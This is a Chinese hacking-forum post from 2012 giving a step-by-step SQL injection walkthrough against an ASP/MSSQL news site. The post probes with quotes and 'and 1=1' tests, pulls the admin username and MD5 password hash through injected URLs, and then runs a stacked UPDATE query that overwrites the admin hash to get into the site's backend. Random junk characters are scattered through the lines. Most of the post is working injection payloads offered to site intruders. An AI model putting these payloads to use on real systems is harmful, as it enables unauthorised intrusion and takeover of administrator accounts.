经常拿站的黑阔们一定经常碰到，某个网站有注入，管理员帐号和密码多暴出来了。
- k, J5 Z0 Q! [5 u% t" `8 J6 ]可是密码是MD5加密的。而且在线的MD5解密不了。你说咋办？直接修改管理员密码的MD5值。然后进后台！(当然是有条件的。MSSQL)# N6 l+ m/ h# `1 P+ j
测试如下：
- C( U8 T- F) ~* v9 Q1 Uhttp://www.tmdsb.com/news.asp?id=121' K! @9 o% \' e* W4 ?+ [# J$ q
在地址后输入单引号，显示! V) [+ I R( A& y L4 @8 j8 d+ ?
Microsoft OLE DB Provider for SQL Server 错误 ’80040e14’
5 A+ m9 z( y& {2 p/ g# F3 U# A8 @字符串 ’’’ 之前有未闭合的引号9 U/ R$ Z4 s1 M
/news/tmdws.asp，行63
; G( [3 e8 C3 I* j说明没有过滤单引号且数据库是MSSQL.
/ P! Q& ^* @3 c! kand 1=1正常。and 1=2出错。肯定存在注入
" _7 j" M% i: z+ g6 [! n) u+ S/ n6 t接着输入. H! F j/ H, J- A! n* U
http://www.tmdsb.com/news.asp?id=1 or admin_user in (select id from admin)
' Z: w. I( N2 y! `2 F得到帐号为:admin8 ]) J0 K; y8 P5 _
http://www.tmdsb.com/news.asp?id=121 or admin_password in (select id from admin)
- v& H' f$ p* ~" B8 l得到密码为:a4716077c2ba075c$ D( W7 I4 P. ^- p7 r# v
接下来我们就可以改密码了。但我们先前要知道我们加密的字符：e8dc763194f29433
) t% N! c7 e5 Q, f2 \命令如下 :. U( @; ~. m1 }5 C
;update shop_admin set password=’e8dc763194f29433’ where password=’a4716077c2ba075c’–1 C: q. W/ N$ P! ? t( Q9 t+ `
这句的意思就是用e8dc763194f29433替换a4716077c2ba075c，以达到修改密码的目的 |
发表于 2012-9-13 17:55:24
收藏
支持
反对
发表于 2012-9-14 16:22:41